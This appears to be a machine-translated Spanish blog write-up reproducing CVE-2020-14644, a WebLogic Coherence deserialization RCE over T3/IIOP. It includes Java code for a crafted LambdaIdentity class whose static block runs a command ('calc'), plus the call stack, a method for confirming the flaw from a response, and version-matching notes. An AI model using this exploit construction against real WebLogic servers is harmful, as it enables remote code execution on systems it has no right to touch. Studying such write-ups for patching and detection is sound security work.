[CVE-2020-14644] coherencia weblogic deserializar RCE a través de t3

referencia:

Depuración de vulnerabilidades

com.tangosol.internal.util.invoke.RemotableSupport
Inserte la descripción de la imagen aquí
com.tangosol.internal.util.invoke.RemoteConstructor
Inserte la descripción de la imagen aquí
usa el valor md5 dado por el autor (versión 12.2.1.3 ?): E12ECA49F06D0401A9D406B2DCC7463Ase lanzó una excepción

java.lang.NoClassDefFoundError: com/tangosol/internal/util/invoke/lambda/LambdaIdentity$423B02C050017B24DB10DFF759AA56BF (wrong name: com/tangosol/internal/util/invoke/lambda/LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A)

¿Significa que 423B02C050017B24DB10DFF759AA56BF es correcto?
Entonces se genera un nuevo valor md5 a través de LambdaIdentity en coherence.jar de 12.2.1.4. Efectivamente, es consistente con el error anterior.

Inserte la descripción de la imagen aquí
Luego, regenere la carga útil. Nuevo paquete :, com.tangosol.internal.util.invoke.lambdaluego nueva clase :, LambdaIdentity$423B02C050017B24DB10DFF759AA56BFcompilar. Obtenga la ruta de su archivo de clase.

package com.tangosol.internal.util.invoke.lambda;

import java.io.IOException;

public class LambdaIdentity$423B02C050017B24DB10DFF759AA56BF {
    
    
    public LambdaIdentity$423B02C050017B24DB10DFF759AA56BF() {
    
    
    }

    static {
    
    
        try {
    
    
            Runtime.getRuntime().exec("calc");
        } catch (IOException var1) {
    
    
            var1.printStackTrace();
        }
    }
}

Solo hay una oportunidad para cargar una clase. Después del primer éxito o fracaso, la segunda vez no tendrá éxito.
(Reiniciar weblogic)

Inserte la descripción de la imagen aquí
pocsuite:
Inserte la descripción de la imagen aquí

En este paso, se ejecuta el bloque de código estático de nuestra clase personalizada:

Remotable<T> instance = (Remotable)definition.createInstance(constructor.getArguments());

Realice la ejecución del comando.
Por supuesto, la preparación previa es definir esta clase primero y
su pila de llamadas:

...
defineClass:642, ClassLoader (java.lang)
defineClass:181, RemotableSupport (com.tangosol.internal.util.invoke)
realize:137, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadResolve:1248, ObjectStreamClass (java.io)
readOrdinaryObject:2076, ObjectInputStream (java.io)
readObject0:1571, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

Lanzar un error:

java.lang.ClassCastException: com.tangosol.internal.util.invoke.lambda.LambdaIdentity$423B02C050017B24DB10DFF759AA56BF cannot be cast to com.tangosol.internal.util.invoke.Remotable

Inserte la descripción de la imagen aquí

Uso de otras versiones y eco

referencia:

Los dos paquetes jar proporcionados en github son wlfullclient.jar y coherence.jar juntos, pero debido a que el código para diferentes versiones de coherence.jar es diferente, no sé qué versión proporciona el autor, así que apunto a diferentes versiones de weblogic. Reemplaza el paquete coherence.jar en ese momento y saca coherence.jar de cada directorio de weblogic. La estructura es la siguiente:
Inserte la descripción de la imagen aquí
También se reproduce en 14.1.1.0 y se repite con éxito:
Inserte la descripción de la imagen aquí

Al capturar el tráfico, descubrí que siempre habrá un paquete inicial. Piense en ello como un paquete de reconocimiento.
Más tarde, se descubrió que también se puede usar
Inserte la descripción de la imagen aquí
para enviar la carga útil final directamente sin un apretón de manos: siempre que haya una cadena de indicadores en la respuesta, se puede determinar que existe la vulnerabilidad:
Inserte la descripción de la imagen aquí

Más tarde, descubrí que la razón por la que la ejecución del comando puede ser activada directamente por el último paquete es porque el Objeto se instaló en el paso anterior, y el último paso es simplemente llamar directamente al comando de ejecución. El trabajo de preinstalación es fundamental. De lo contrario, no existirá después de reiniciar weblogic.

Inserte la descripción de la imagen aquí
Al usar 12.2.1.4, encontré este error:

Exception in thread "main" javax.naming.NamingException: Couldn't connect to the specified host : Exception waiting for response; nested exception is: 
	java.io.EOFException: endOfStream called by muxer [Root exception is org.omg.CORBA.MARSHAL: Exception waiting for response; nested exception is: 
	java.io.EOFException: endOfStream called by muxer  vmcid: 0x0  minor code: 0  completed: No]

Más tarde, revisé la consola de weblogic y descubrí que es posible que iiop haya sido deshabilitado antes.
Inserte la descripción de la imagen aquí

<2020-9-11 下午03时12分11,636秒 CST> <Warning> <Socket> <BEA-000443> <The connection attempt was rejected because the incoming protocol iiop is not enabled on channel Default[iiop][2].>

Después de activar los cambios, reinicie weblogic para que surta efecto.

Si se reporta tal error, debería ser que la versión de coherence.jar es incorrecta, y su correspondiente serialVersionUIDes diferente:
Inserte la descripción de la imagen aquí
para qué versión de weblogic, debe usar la versión correspondiente de coherence.jar para construir la carga útil.

Además, la prueba encontró que el paquete 14.1.1.0 coherence.jar puede adaptarse a la versión 12.2.1.4 de weblogic, mientras que 12.2.1.3 weblogic solo puede usar el paquete 12.2.1.3 coherence.jar para generar la carga útil.
El resultado de la prueba es así:
Inserte la descripción de la imagen aquí

Versión 10.3.6.0 y 12.1.3.0, se encontró que no hay una clase relacionada:
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí

Por lo que no debería verse afectado.

Supongo que te gusta

Origin blog.csdn.net/caiqiiqi/article/details/107838351
Recomendado
Clasificación